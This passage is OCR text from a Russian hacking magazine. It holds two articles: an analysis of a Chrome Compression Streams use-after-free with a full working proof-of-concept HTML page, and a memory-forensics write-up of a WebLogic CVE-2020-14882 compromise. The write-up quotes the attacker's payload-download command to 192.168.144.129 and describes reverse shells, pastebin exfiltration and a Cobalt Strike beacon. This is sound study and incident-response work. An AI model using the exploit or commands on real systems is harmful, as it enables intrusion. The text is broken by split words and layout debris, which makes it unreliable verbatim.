Уязвиму ю верси ю Chrome, скомпилиро ванную с ASan (AddressSanitizer), мож
но скачать с googleapis.com. В отчете об уязвимос ти указано название нуж ной сборки , а именн о билд asan-linux-release-812852. Распаковы ваем архив:
unzip asan-linux-release-812852.zip
Готовый билд сэкономи т кучу времени , так как сборка браузе ра требуе т вре мени, особен но если машина не очень мощная .
AddressSanitizer — это детектор ошибок памяти. Он предос тавляет инстру ментаци ю во время компиляции кода и библиоте ку времени выполнения (runtime). Подробнее о нем можно почитать на сайте Clang.
Теперь у нас готова виртуаль ная машина и скачан необходимый билд Chrome. Помимо них, нам понадобит ся Python 3 и LLVM. Обычно лог санитай зера ASan выгляди т нечитаемо , посколь ку там указаны только адреса и сме щения. Разобрать ся поможет утилита llvm-symbolizer, которая устанав лива ется вместе с LLVM. Она читае т эти адреса и смещения и выводит соответс твующие места в исходном коде. Лог ASan будет выглядеть намного понят нее.
Ну а Python поможет нам готовить данные для сжатия .
Все установ лено , теперь в бой!
ТЕОРИЯ
Прежде чем разбирать ся в деталях уязвимос ти, нам нужно немного понимать предметну ю область.
Предыс тория всег о этого такова. В конце 2019 года команда разработ чиков Chromium реализова ла новый JavaScript API, который называется Compression Streams. Детали реализации приведе ны в отчете .
Этот API основан на специфи кации потоков (специфи кация от 30 янва ря 2020 года). Подробно с его концепци ей можешь ознакомить ся в ди зайн документе , дополнитель ные пояснения смотри на GitHub.
Я привожу более старые версии , так как уязвимость касалась именно их реализации . В дальнейшем специфи кация потоков и их реализация
в Chromium изменилась .
Теперь разберем ся в потоках преобра зования, потоках сжатия , объектах promise и методе postMessage.
Потоки сжатия
Потоки сжатия основаны на концепции и реализации веб потоков. Отличие в том, что потоки компрес сии могут сжимать и распаковы вать данные .
На выбор — алгорит мы gzip и defate, широко применя емые в веб технологи ях. Потоки компрес сии удовлетво ряют специфи кации transform stream.
Ниже приведе на схема алгорит ма .
Груб о говоря, если данные не кончились (считан чанк), то вызывается метод Transform, а тот вызовет метод компрес сии или декомпрес сии — в данном случае Infate. В этом методе данные обрабаты ваются в цикле . Затем они помещаются в очередь потока. Для этого вызывается метод Enqueue.
То есть обрабаты ваем куски данных и кладем их в очередь .
Promise
JavaScript часто описыва ют как язык прототип ного наследова ния. Каждый объек т имее т объект прототип — шаблон методов и свойств . Все объекты имеют общий прототип Object.prototype и свой отдельный .
Поэто му при изменении каких то свойств или методов прототи па новые объекты будут обладать изменен ными свойства ми или методами .
Далее нас интересу ют асинхрон ное программи рование и «обещания » (promise). Раньше JavaScript исполнялся синхрон но, но это мешало веб стра ницам быстр о загружать ся и плавно работать. Асинхрон ное программи рова ние позволя ет обойти эту проблему . При ожидании какой то операции (заг рузки данных по сети, чтения с диска и тому подобных ) основной поток при ложения не блокиру ется, и оно не подвиса ет.
Сначала в JavaScript внедрили асинхрон ные колбэки (вызовы функций
по завершении операции ). Позднее придума ли новый стиль написания асин хронног о кода — «обещания ». Promise — это объект , представ ляющий асин хронну ю операцию , выполненну ю удачно или неудачно . На картинке это наг лядно изображено .
Источник — javascript.ru
Промис — это как бы промежу точ ное состояние : «Я обещаю вернуть ся к вам
срезультатом как можно скорее ».
Уобъекта promise есть метод then. Он принима ет два параметра : фун
кции, которые нужн о вызвать в случае разрешения (resolve) или в случае отклонения (reject). В зависимос ти от результата будет вызвана соответс тву ющая.
Особен ность JavaScript в том, что в этом языке все является объектом . По сути метод или функция — это тоже объект . И доступ к нему — это вызов объектов get и set объекта — прототи па объекта . Красиво ?
Особен ность объекта promise в том, что при его разрешении (resolve) необходим о вызвать then. Доступ к этому методу (get) можн о изменить
на пользователь ский код, сменив общий для всех объектов прототип :
Object.defineProperty(Object.prototype, "then", {
get() {
console.log("then getter executed");
}
});
postMessage
Как мы можем узнать из MDN Web Docs, этот метод позволя ет обменивать ся данными между объекта ми типа Window, например между страницей и фрей мом. Интерес ная особен ность заключа ется в том, как передаются данные .
postMessage(message, targetOrigin, transfer);
После вызова функции |
владение |
transfer передается |
адресату , а на |
|||||||||||||||||||||
передающей |
стороне |
прекраща |
ется |
. |
|
|
|
|
|
|
|
|
|
|||||||||||
|
Если вкратце , суть уязвимос |
ти в том, что обработ ка большого |
массива |
|||||||||||||||||||||
данных происхо |
ди т в цикле и при добавлении |
обработан |
ных чанков в очередь |
|||||||||||||||||||||
есть возможность |
вызвать |
пользователь |
ский |
код на JS. Это обеспечено |
тем, |
|||||||||||||||||||
что объекту |
promise дано разрешение |
на чтение из потока. Пользователь |
ский |
|||||||||||||||||||||
код через postMessage может освободить |
данные , которые на тот момент |
|||||||||||||||||||||||
обрабаты |
вались |
в цикле . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
Для более детального |
понимания |
всех |
концепций |
можно обратить ся |
|||||||||||||||||||
к специфи |
кации |
. Мы же переходим |
к практике |
. |
|
|
|
|
|
|||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Продолжение статьи →
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
← НАЧАЛО СТАТЬИw Click |
|
BUY |
|
m |
||||||
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
КАК РАБОТАЕТ БАГ USE AFTER FREE В ДВИЖКЕ
BLINK
ЗАПУСК POC
Первым делом нужн о установить LLVM, так как с ним поставля ется сим болизатор . Без него стек вызовов будет выглядеть непонятно , посколь ку не будет названий методов и имен файлов .
Скачан ный билд распаковы ваем в виртуал ке и запускаем . Смотрим , чтобы версия совпадала со скриншотом .
Теперь создадим файл randomfile.py и запустим его:
python3 randomfile.py
Этим мы создадим данные , которые будет считывать поток сжатия (defate).
with open('/dev/urandom', 'rb') as f:
random = f.read(0x40000)
with open('./random', 'wb') as f:
f.write(random)
Далее создаем файл poc.html и записываем в него следующее :
<html>
<title>Secware.ru</title>
<script>
let ab;
async function main() {
await fetch("random").then(x => x.body.getReader().read().then(y =>
ab = y.value.buffer));
Object.defineProperty(Object.prototype, "then", {
get() {
var ab2 = new ArrayBuffer(0);
try {
postMessage("", "Secware", [ab]);
}catch (e) { console.log("free");
}
}
});
var input = new Uint8Array(ab);
console.log(ab.length);
const cs = new CompressionStream('deflate');
const writer = cs.writable.getWriter();
writer.write(input);
writer.close();
const output = [];
const reader = cs.readable.getReader();
console.log(reader);
var { value, done } = await reader.read();
}
main();
</script>
<body>
<h2>Welcome to Secware pwn page!</h2>
</body>
</html>
Теперь нужн о открыть новый термина л и запустить веб сервер из папки с файлами poc.html и random.
python3 -m http.server
Перед запуском Chromium следуе т установить опции ASan.
export ASAN_OPTIONS=symbolize=1
Далее запускаем уязвимый билд и указыва ем ему, куда подклю чить ся . Заодно укажем флаги запуска без песочницы и использования GPU.
asan-linux-release-812852/chrome --no-sandbox --disable-gpu http://
127.0.0.1:8000/poc.html
Вкладка браузе ра должна упасть.
В консоли можн о увидеть лог санитайзера адресов ASan.
На рисунке ниже приведен стек вызовов до метода Transform на сайте исходног о кода Chromium. Но в ветке main (на момент написания статьи 2f0ac6), так как в старых коммитах не работают референсы и сложно отыс кать граф вызовов нужных методов.
Схемати чес ки граф вызовов выгляди т так.
Метод Transform вызывае т Deflate (в случае сжатия ), где и происхо ди т use after free, на строке 117 файла defate_transformer.cc. По факту доступ к осво
божденно му массиву происхо ди т в коде zlib, но мы туда не полезем.
Также в логе видно , что освобож дение памяти происхо дит из метода postMessage.
АНАЛИЗ POC
Посмотрим код, который триггери т уязвимость . Сначала вызывается функция fetch и подгру жает ся наш файл random. Буфер с данными присваивает ся переменной ab.
await fetch("random").then(x => x.body.getReader().read().then(y=>ab=
y.value.buffer));
Затем переопре деляется аксессор свойства then. Здесь как раз прописан
код, который освобож дает память через вызов postMessage. Массив ab будет освобож ден (параметр transfer).
Object.defineProperty(Object.prototype, "then", {
get() {
var ab2 = new ArrayBuffer(0);
try {
postMessage("", "Secware", [ab]);
}catch (e) { console.log("free");
}
}
});
В остальной части кода создает ся поток сжатия , ему передаются данные
из нашего файла random и через читателя (reader) создает ся запрос на чте
ние (read_request).
var input = new Uint8Array(ab);
console.log(ab.length);
const cs = new CompressionStream('deflate');
const writer = cs.writable.getWriter();
writer.write(input);
writer.close();
const output = [];
const reader = cs.readable.getReader();
console.log(reader);
var { value, done } = await reader.read();
Как раз этот запрос на чтение и спровоци рует освобож дение памяти. Как? Если вкратце , то вызов контрол лера enqueue трансфор мирующего потока приводи т к вызову пользователь ского кода. Это как раз код, который акти вируе т postMessage и освобож дает массив ab.
Упрощен но схема выгляди т вот так.
АНАЛИЗ ИСХОДНОГО КОДА
Схемати чески цепочка вызовов от Deflate до пользователь ско г о кода на JS будет такой, как на схеме ниже.
Теперь , зная общую картину , пройдем ся по исходному коду. Вот как выглядит метод сжатия Defate. В цикле do-while данные читаются , сжимают ся (defate), а потом помещаются в очередь потока (controller->enqueue()).
Функция cpp controller->enqueue() приведе т нас в метод cpp TransformStreamDefaultController::Enqueue. Для краткости я пропус тил пару посредни ков между ними.
Здесь вызывается метод с таким же названи ем , но из класса контрол лера readable-потока (ReadableStreamDefaultController).
Здесь происхо ди т провер ка наличия запросов на чтение . А мы как раз оста вили один такой запрос при помощи такого кода:
javascript var { value, done } = await reader.read();
Араз он есть, будет вызван метод cpp ReadableStream::
FulFillReadRequest.
Тот в свою очередь вызовет Resolve для promise, то есть запрос на чтение .
По специфи кации ECMAScript разрешение promise обязатель но должн о зай ти в свойств о then. А посколь ку мы поменяли геттер then через Object. prototype, то при доступе к then вызовется наш код. Он освободи т массив , который в данный момент обрабаты вает цикл метода Deflate.
А значит , код попытается получить доступ к освобож денной памяти.
Так и работае т уязвимость . Остальное сводит ся к эксплу ата ции уязвимос тей типа use after free. Но это уже отдельная тема, требующая отдельной объ емной статьи.
•Exploiting a textbook use-after-free in Chrome
•Cleanly Escaping the Chrome Sandbox
•My Take on Chrome Sandbox Escape Exploit Chain
ПАТЧ
Теперь посмотрим , как же пофиксили данную уязвимость разработ чики Chromium. В описании патча говорит ся следующее :
« |
Correctly handle detach during (de)compression |
|
Sometimes CompressionStream and DecompressionStream enqueue |
|
|
|
multiple output chunks for a single input chunk. When this happens, |
|
|
JavaScript code can detach the input ArrayBuffer while the stream |
|
|
is processing it. This will cause an error when zlib tries to read the buffer |
» |
|
again afterwards. To prevent this, buffer output chunks until the entire |
|
|
input chunk has been processed, and then enqueue them all at once. |
По сути, для компрес сии и декомпрес сии теперь использует ся времен ный массив buffers.
Тольк о после этог о данные передаются в очередь потока через вызов enqueue. Уже он может вызвать пользователь ский код на JS.
Следова тель но , во время работы цикла компрес сии /декомпрес сии уже невозможн о вызвать пользователь ский код. Метод enqueue будет вызван после . То же будет и с кодом атакующе го , но данные уже обработа ны и дос тупа к освобож денной памяти не будет.
ВЫВОДЫ
В заключение хочу сказать , что уязвимость явно была вдохновле на предыду щими подобными багами. Отчеты Сергея Глазуно ва номер 2001 от 27 янва ря 2020 года и номер 2005 от 30 января 2020 года касались этого же ком понента . Уязвимос ти триггерились похожим методом и были связаны с раз решением promise. В текущей версии специфи кации потоков и кода Chromium такая возможность отсутству ет .
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ИЗВЛЕКАЕМ АРТЕФАКТЫ ИЗ ДАМПА ПАМЯТИ СЕРВЕРА
Когда злоумыш ленни ки атакуют сеть пред приятия , у специалис тов по информацион ной безопасности зачастую остается не так уж и много материала для исследова ний — например , только образ памяти скомпро метирован ного сервера . Подобную ситу ацию описыва ет задание BSidesJeddahPart2 с ресурса CyberDefenders, которое мы сегодня разберем .
rayhunt454 grigadan454@gmail.com
Наша задача — выявить причины взлома сервиса , разверну того на Oracle WebLogic Server, и научиться извлекать основные артефак ты из образа опе ративной памяти Windows.
По сценари ю устройство мониторин га сетевой безопасности зафик сировало подозритель ный трафик , исходящий от одного из веб серверов организа ции. Мы должны проана лизировать образ памяти сервера и восста новить картину взлома информацион ного ресурса .
ИСПОЛЬЗУЕМЫЕ УТИЛИТЫ
1.Volatility Framework 2.6.1 — инстру мент, реализован ный на Python вер
сии 2 и предназна ченный для извлечения артефак тов из образов энер гозависимой памяти.
2.Volatility 3 — обновленный инстру мент для извлечения артефак тов, раз работанный на Python 3.
Загрузим файл архива с артефак тами, извлечем из него файл memory.mem
(SHA256:5b3b1e1c92ddb1c128eca0fa8c917c16c275ad4c95b19915a288a745f99 60f39) и приступим к исследова нию .
ИССЛЕДОВАНИЕ ОБРАЗА ПАМЯТИ
При работе с этим образом мы будем пользовать ся фреймвор ком Volatility версий 2 и 3. Их основное различие описано в докумен тации . Удобство работы с третьей версией заключа ется в том, что она не используе т профили операци онной системы , а умее т определять их на лету, с помощью таблиц символов Windows. Но большинс тво плагинов разработа но для второй вер сии.
Получим профиль операци онной системы для работы с утилитой Volatility
2.
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem imageinfo
Профиль операци онной системы — Win2016x64_14393.
Прежде чем мы приступим к анализу артефак тов, необходимо понять, с какой системой мы работаем . Для этого получим версию операци онной системы , имя компьюте ра, а также сетевой адрес. Пробежим ся по ключам реестра с использовани ем плагина printkey.
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 printkey -K "ControlSet001\Control\ComputerName\C
omputerName"
Имя компьюте ра Имя компьюте ра — WIN-8QOTRH7EMHC.
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 printkey -o 0xffff808fe7e41000 -K "ControlSet001\S
ervices\Tcpip\Parameters\Interfaces"
Список интерфейсов
Мы получили список идентифика торов сетевых интерфейсов . Проверим каж дый из них.
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 printkey -o 0xffff808fe7e41000 -K "ControlSet001\S
ervices\Tcpip\Parameters\Interfaces\{
792f6020-c342-4520-922a-542fbfccc4b6}"
Сетевой адрес системы
Сетевой адрес компьюте ра — 192.168.144.131, IP-адрес выдается DHCP-
сервером 192.168.144.254.
Теперь получим информаци ю о версии операци онной системы .
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 printkey -K "Microsoft\Windows NT\CurrentVersion"
Версия операци онной системы
Версия операци онной системы — Windows Server 2016 Standard Evaluation.
Получим время , которое было зафиксирова но в момент снятия образа оператив ной памяти. Для этого восполь зуемся плагином windows.info ути
литы Volatility 3.
python3 vol.py -f c63-bsidesjeddah-mem/memory.mem windows.info
Системное время — 2021-08-06 16:13:23.
Далее попытаемся восста новить действия пользовате ля в системе . Про анализи руем истори ю браузе ра, в данном случае Internet Explorer. Для этого восполь зуемся плагином iehistory.
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 iehistory > c63-bsidesjeddah-mem/iehistory.txt
История iehistory
Нам удалось выяснить , что 6 августа 2021 года пользователь Administrator посетил страницу news.google.com.
Теперь приступим к поиску вредонос ной активности . Для этого нам необ ходимо проана лизи ровать процес сы , сетевой трафик , команды запуска исполняемых файлов , а также исследовать строки процес сов .
Для начала получим список запущенных в системе процес сов, а также сетевую активность и сохраним результа т работы плагинов в файлы pstree. txt и netscan.txt соответс твенно.
python2.7 |
vol.py |
-f |
c63-bsidesjeddah-mem/memory.mem |
--profile= |
Win2016x64_14393 |
pstree > c63-bsidesjeddah-mem/pstree.txt |
|||
python2.7 |
vol.py |
-f |
c63-bsidesjeddah-mem/memory.mem |
--profile= |
|
|
|||
Win2016x64_14393 |
netscan > c63-bsidesjeddah-mem/netscan.txt |
В списке процес сов можно заметить программу RamCapture.exe компании
Belkasoft.
В файле netscan.txt отмечен о двенад цать стабиль ных сетевых соеди нений, об этом нам говорит колонка State, демонстри рующая работу пла
гина netscan с установ ленным значени |
ем ESTABLISHED. |
|
|||||||
Проана лизируем дерево процес сов и найдем |
среди них аномаль |
ные. |
|||||||
Необходим |
о обращать |
внимание |
на процес сы, которые запускаю т дочерний |
||||||
процесс |
с |
именами |
cmd.exe, |
powershell.exe, |
conhost.exe, а также |
||||
на исполняемые |
файлы с нестандар |
тным расположе |
нием. |
|
Процес сы , запущенные от java.exe
Процес сом java.exe (идентифика тор 4752) запущено множес тво дочерних powershell.exe, что может свидетель ствовать о подозритель ной активнос ти. Также у процес са powershell.exe (идентифика тор 4344) запущены дочерние процес сы conhost.exe (идентифика тор 4636) и svchost.exe (идентифика тор 1488).
Получим дамп данных процес сов и проана лизируем их строки .
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 memdump -p 4752 -D c63-bsidesjeddah-mem/
Мы сохранили дамп в файл 4752.dmp.
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 memdump -p 4344 -D c63-bsidesjeddah-mem/
Резуль тат работы сохранен в файле 4344.dmp.
Теперь с помощью утилиты strings вытащим все строки и сохраним их в файл.
strings 4752.dmp > str_4752.txt
strings 4344.dmp > str_4344.txt
Прежде чем анализи ровать строки , получим аргумен ты командной строки для запуска процес сов . Для этого восполь зуем ся плагином cmdline и найдем в нем процесс java.exe (идентифика тор 4752).
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 cmdline > c63-bsidesjeddah-mem/cmdline.txt
Запуск вер сервера
Процесс cmd.exe (идентифика тор 4556), который является родителем про цесса java.exe (4752), запускае т сервер WebLogic. Значит , процесс java. exe — результа т работы веб сервера .
Выясним верси ю WebLogic, для этого получим список файлов в системе .
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 filescan > c63-bsidesjeddah-mem/filescan.txt
Анализи руя список файлов , мы обнаружи ваем файл лога веб сервера
WebLogic — AdminServer.log.
Виртуаль ный адрес файла
Восста новим его и проана лизи руем : виртуаль ный адрес файла в образе памяти — 0xb68cb2c205c0. Восста новить этот файл с использовани ем ути литы Volatility 2 мне не удалось , попробу ем это сделать с помощью Volatility 3.
python3 vol.py -f c63-bsidesjeddah-mem/memory.mem windows.dumpfiles
--virtaddr 0xb68cb2c205c0
В восста нов ленном файле указана версия WebLogic Server — 14.1.1.0.0.
Версия WebLogic-сервера
Слушатель WebLogic Server работае т на порте 7001, но запросы к веб сер веру идут на 80-й порт.
Найдем перенаправле ние порта в ключе реестра PortProxy, для этого восполь зуем ся плагином printkey.
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 printkey -K "ControlSet001\Services\PortProxy\v
4tov4\tcp"
|
|
|
|
|
|
Значение |
ключа PortProxy |
|
|
|||
|
|
|
|
|
|
|
||||||
В системе |
установ лено |
перенаправле |
ние |
порта 80:7001. |
|
|||||||
Мы выяснили |
верси ю веб сервера |
: она уязвима |
и позволя |
е т выполнять |
||||||||
удален |
ный |
код в системе |
. В файле лога AdminServer.log видны результаты |
|||||||||
выполнения |
функции |
com.tangosol.coherence.mvel2.sh.ShellSession, |
||||||||||
а |
также |
|
запрос |
к |
|
/console/%2E%2E%2Fconsole.portal? |
_nfpb=true&_pageLabel=UnexpectedExceptionPage.
Содер жимое файла лога
Теперь найдем процесс , через который злоумыш ленник получил пер воначальный доступ . У нас есть дамп процес са 4752, мы нашли его строки , теперь отыщем в нем GET-запрос с параметром handle=com.tangosol.
coherence.mvel2.sh.ShellSession.
|
|
|
|
|
|
Содер жимое |
параметра handle |
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
||||||||||||||||||
Итак, искомый |
процесс |
— это java.exe, идентифика |
тор 4752. Именн о он был |
|||||||||||||||||||||
ответстве нен |
за первоначаль |
ный |
доступ к системе |
. Злоумыш |
ленник |
проэкс |
||||||||||||||||||
плуати рова |
л |
|
уязвимость |
CVE-2020-14882 в |
сервере |
WebLogic вер |
||||||||||||||||||
|
|
|
|
|
|
|
||||||||||||||||||
сии 14.1.1.0.0, позволя |
ющу ю выполнять |
удален ный |
код в системе |
. Как видно |
||||||||||||||||||||
из иллюстра ции |
выше, хакер запусти л обратную оболоч ку с управляющим |
|||||||||||||||||||||||
сервером |
192.168.144.129:1339. |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
Анализи |
руя работу плагина |
netscan, можно увидеть |
запущенный |
процесс |
||||||||||||||||||||
powershell.exe |
(идентифика |
тор |
4344), |
который |
взаимо дей ству ет |
|||||||||||||||||||
с 192.168.144.129:1339. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Резуль та т работы плагина netscan
Восполь зуемся плагином pslist и найдем следующий процесс в списке
ActiveProcessLinks, его идентифика тор 4772.
Список процес сов ActiveProcessLinks
Как видн о из иллюстра ции, процесс java.exe имеет 44 потока. Продол жим анализи ровать строки процес са java.exe.
Врезультате анализа строк можно увидеть загрузку файлов presist.ps1
иpastebin.ps1.
Загрузка PowerShell-сценари ев
Попробу ем восста новить команды для загрузки этих файлов . Так как команды выполняют ся с использовани ем PowerShell, получим дамп всех процес сов powershell.exe, запущенных от имени java.exe (идентифика тор 4752). Для этог о восполь зуем ся плагином memdump. Восста новим команду для заг рузки сценари ев PowerShell.
strings -e l ./out_powershell/* | grep -i 'presist.ps1' | sort -u
Коман да Invoke-WebRequest
Коман да для загрузки сценария presist.ps1 выгляди т следующим образом :
Invoke-WebRequest -Uri "http://192.168.144.129:1338/presist.ps1"
-OutFile "./presist.ps1"
Загрузка файла pastebin.ps1 выполнялась при помощи следующей коман ды:
strings -e l ./out_powershell/* | grep -i 'presist.ps1' | sort -u
Загрузка pastebin.ps1
Найдем код pastebin.ps1 и проана лизируем его. Для этого будем искать этот код в строках дампа наших процес сов. При исследова нии результатов вывода плагина cmdline мы заметили , что процесс notepad.exe (идентифика
тор 4596) открыл файл exfiltrator.txt.
Аргумен ты запуска процес са notepad.exe
Получим дамп процес са 4596 и проана лизи руем строки .
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 memdump -p 4596 -D c63-bsidesjeddah-mem/
Содер жимое скрипта
Этот скрипт предназна чен для выгрузки тексто вых файлов на ресурс pastebin.com, но ему в качестве параметра необходимо указать ссылку . Поиск ссылки на выгрузку файлов в строках дампа процес са notepad.exe не дал результатов .
В строках вредонос ного процес са 4344 удалось обнаружить ссылку https://pastebin.com/A0Ljk8tu для выгрузки файлов . Значит , скрипт pastebin.ps1 запускался от имени данного процес са.
Найдем методы закрепле ния злоумыш ленни ка в системе . Для этого вос пользуем ся плагином autoruns или проана лизи руем строки процес са 4344.
Закрепле ние в системе
Злоумыш ленник создал службу ServiceUpdate, которая запускае т обратную оболоч ку с управляющим сервером 192.168.144.129, порт 1339. Согласно матрице MITRE ATT&CK, идентифика тор этой техники — T1053.005.
Продол жаем анализи ровать вредонос ные процес сы. Получим дамп про цесса svchost.exe (идентифика тор 1488), найдем виртуаль ный адрес рас положения этог о файла в системе и с помощью плагина windows.dumpfles утилиты Volatility 3 выгрузим файл.
Расположе ние файла svchost.exe
Виртуаль ный адрес файла в образе памяти — 0xb68cb2b8a080. Восста новим его.
python3 vol.py -f c63-bsidesjeddah-mem/memory.mem windows.dumpfiles
--virtaddr 0xb68cb2b8a080
После восста нов ления получим MD5-сумму файла
2c5ae1d11a02d19ab65f5fc06a33d603 и проверим ее на VirusTotal. Согласно
отчету антивирус ных компаний , перед нами полезная нагрузка фреймвор ка Cobalt Strike. Получим дамп процес са и попробу ем вытащить конфигура цию
C2.
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 memdump -p 1488 -D c63-bsidesjeddah-mem/
Загрузим утилиту CobaltStrikeParser и найдем в памяти процес са конфигура цию маяка.
python3 parse_beacon_config.py ../pid.1488.dmp --version 4
Мы узнали тип маяка (HTTP), адрес управляюще го сервера (192.168.144. 129), порт (1339), а также публичный ключ. Получим MD5-сумму ключа .
echo MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCknNpTPXGlTqpVXN9GP8xG/
Otf4yDG2QQCJFReupN16br/aMd+0RTSqOmKCjMHdR6fm133/
abvH1KVRge7oNowjO0RvdKVZTnNZqPnOkruOd7pDvjcJ13huwnsGA6rqW3jwNNb1hDix6
K4H+DGYx/
RQTxDc/nhj59Ae/5Tz9iC/QIDAQAB" | base64 -d | md5sum
MD5-сумма публично го ключа — fc627cf00878e4d4f7997cb26a80e6fc.
ВЫВОДЫ
Мы провели рассле дова ние инциден та и восста нови ли картину взлома ресурса : 6 августа 2021 года злоумыш ленник проэкс плу ати ровал уязвимость
CVE-2020-14882 в Oracle WebLogic Server, которая позволя е т не прошед шим авториза ци ю пользовате лям выполнять удален ный код в системе .
Таким образом атакующий загрузи л обратную оболоч ку с управляющим сервером 192.168.144.129, порт 1339. Далее он закрепил ся в системе , соз дав службу ServiceUpdate. Для этог о злоумыш ленник загрузи л PowerShellсценарий presist.ps1. Данный сценарий создае т службу ServiceUpdate, которая запускае т обратную оболоч ку.
Для эксфильтра ции данных злоумыш ленник загрузил сценарий pastebin. ps1, который отправляе т собранные файлы на удален ный сервер . Затем ата кующий загрузи л маяк Cobalt Strike для постэкс плу ата ции в системе .
В ходе нашего рассле дования мы научились извлекать конфигура цию маяка из памяти, а также искать важные артефак ты в памяти процес сов.
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|
||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
|
c |
|
n |
e |
|
||
|
|
|
-x |
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
